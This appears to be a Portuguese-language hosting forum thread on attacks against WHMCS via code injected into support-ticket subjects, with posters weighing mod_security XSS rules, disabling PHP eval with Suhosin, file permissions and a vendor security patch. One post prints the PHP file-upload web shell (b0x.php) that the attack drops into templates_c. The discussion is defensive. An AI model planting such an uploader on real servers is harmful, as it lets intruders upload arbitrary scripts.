Ir para conteúdo
  • Cadastre-se

Tentativas de invasão em meu WHMCS


Posts Recomendados

Aproveitando este tópico será que existe resposta para isto?

http://forum.portaldohost.com.br/threads/6697-Vizualizar-anexo-tickets-WHMCS-sem-fazer-download%21?highlight=vizualizar+ticket

Eu fiz um teste aqui simulando abertura de um ticket e coloquei no assunto/corpo:

E não houve nenhuma ação mesmo após eu abrir o ticket.

Link para o comentário
Compartilhar em outros sites

Pois é João, o código parece ser executado quando se abre o ticket pois esse código vem no assunto do ticket...

João, onde posso colocar esse código para aumentar a proteção?

Sim, o código é executado devido a este comando "eval". A função eval executa comandos contidos dentro de uma váriavel ou string.

Como o WHMCS é em código fechado, você precisa chamar a função nos arquivos de template. O Edvan sabe melhor do que eu onde está o {foreach} que imprime o nome dos títulos, se ele puder ajudar aqui, seria bom.

Leia este artigo http://jstiles.com/Blog/How-To-Protect-Your-Site-From-XSS-With-PHP ele fala sobre estas funções.

Pesquisando encontrei algumas regras para o mod_security que previne ataques via XSS.

# Weak rule

SecFilter "<( |\n)*script"

# Stronger rule

SecFilter "<(.|

)+>"

Tem duas regras, é recomendado utilizar a primeira.

Essas regras só funcionam para o XSS oriundo de tags html, geralmente de javascripts... O problema aqui são as Tags especiais do Smarty. Para evitar XSS de HTML, basta usar a função strip_tags.

Eu fiz um teste aqui simulando abertura de um ticket e coloquei no assunto/corpo:

E não houve nenhuma ação mesmo após eu abrir o ticket.

Talvez seja pq o código postado pelo amigo não é o código real... não sei se a eval permite escapar caracteres...

echo "teste"; ;)

Solução para o problema: Utilizar o Suhosin. Após instalado, adicionar no arquivo php.ini



suhosin.executor.disable_eval=On


Link para o comentário
Compartilhar em outros sites

Lembrando também que não basta só enviar os arquivos para o FTP.. é necessário arrumar as permissões de cada pasta de acordo com a função dela. Se você colocar permissão 777 em seu configuration.ini qualquer um poderá deletar o seu WHMCS..

Já tive um amigo que deszipou o WHMCS no public_html, foi instalar e deu o erro de permissão da templates_c, ele só deu um chmod 777 e deixou assim.. depois reclamou que deletaram a DB dele.

Link para o comentário
Compartilhar em outros sites

Sim, o código é executado devido a este comando "eval". A função eval executa comandos contidos dentro de uma váriavel ou string.

Como o WHMCS é em código fechado, você precisa chamar a função nos arquivos de template. O Edvan sabe melhor do que eu onde está o {foreach} que imprime o nome dos títulos, se ele puder ajudar aqui, seria bom.

Essas regras só funcionam para o XSS oriundo de tags html, geralmente de javascripts... O problema aqui são as Tags especiais do Smarty. Para evitar XSS de HTML, basta usar a função strip_tags.

Talvez seja pq o código postado pelo amigo não é o código real... não sei se a eval permite escapar caracteres...

echo "teste"; ;)

Solução para o problema: Utilizar o Suhosin. Após instalado, adicionar no arquivo php.ini



suhosin.executor.disable_eval=On


Hum..

Só tem um problema ao adicionar a linha suhosin.executor.disable_eval=On no arquivo php.ini, algumas coisas no WHMCS irão parar de funcionar. Um ex.: é a página register.php da área do cliente. Então não tem como deixar o eval desabilitado.

Link para o comentário
Compartilhar em outros sites

Hum..

Só tem um problema ao adicionar a linha suhosin.executor.disable_eval=On no arquivo php.ini, algumas coisas no WHMCS irão parar de funcionar. Um ex.: é a página register.php da área do cliente. Então não tem como deixar o eval desabilitado.

Tens razão.. baixe uma nulled e o arquivo includes/functions.php tem vários evals em uso... é dose!

Critiquem lá povo, afinal, vocês são os clientes.

Link para o comentário
Compartilhar em outros sites

Tens razão.. baixe uma nulled e o arquivo includes/functions.php tem vários evals em uso... é dose!

Critiquem lá povo, afinal, vocês são os clientes.

O @McGuyver me enviou o código completo ( http://awesomescreenshot.com/064pmvsb8 http://awesomescreenshot.com/0b6pmvw04 ) e realmente o problema ocorre caso você NÃO tenha aplicado a última correção de segurança http://www.whmcs.blog.br/principal/atualizacao-de-seguranca-2/

O código cria um arquivo no seu /templates_c/ com o nome b0x.php e contéudo abaixo:

<?php

echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';

echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';

if( $_POST['_upl'] == "Upload" ) {

if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Upload SUKSES !!!</b><br><br>'; }

else { echo '<b>Upload GAGAL !!!</b><br><br>'; }

}

?>

Com esse código é possível enviar arquivos/scripts para seu servidor/pasta templates_c

Após fazer a atualização fiz mais 10 testes em 2 WHMCS e o problema foi sanado!

Esse mesmo problema atingiu o HostBill http://hostbillapp.com/changelog/

Security: Potential security risk when using support tickets and Smarty library not in secure mode [12-05-2011]

Mesmo sem a correção do WHMCS esse problema não me atingiria pois não utilizo a pasta /templates_c/ como cache, além disso meu cache é excluído diariamente/automaticamente http://www.whmcs.blog.br/problemas-duvidas/arquivos-de-cache-pasta-templates_c/

Editado por edvan
HostBill
Link para o comentário
Compartilhar em outros sites

@williamkevenis,

é bom não misturar os tópicos... creio que não seja possível sem a construção de um novo arquivo.

Envia sua sugestão para WHMCS.com

Link para o comentário
Compartilhar em outros sites

LoL, impressionante. Ainda bem que na época que eu usava o WHMCS nunca aconteceu isso comigo.

 Super T Host | Revenda de Hospedagem SSD a partir de R$ 65,95 por mês
 Utilize o cupom PDH e ganhe 60% de desconto nos 3 primeiros meses nos planos de Revenda.
 www.superthost.com.br - WhatsApp 21 983 121 387

Link para o comentário
Compartilhar em outros sites

Visitante
Este tópico está impedido de receber novos posts.
  • Quem Está Navegando   0 membros estão online

    • Nenhum usuário registrado visualizando esta página.
×
×
  • Criar Novo...

Informação Importante

Concorda com os nossos termos?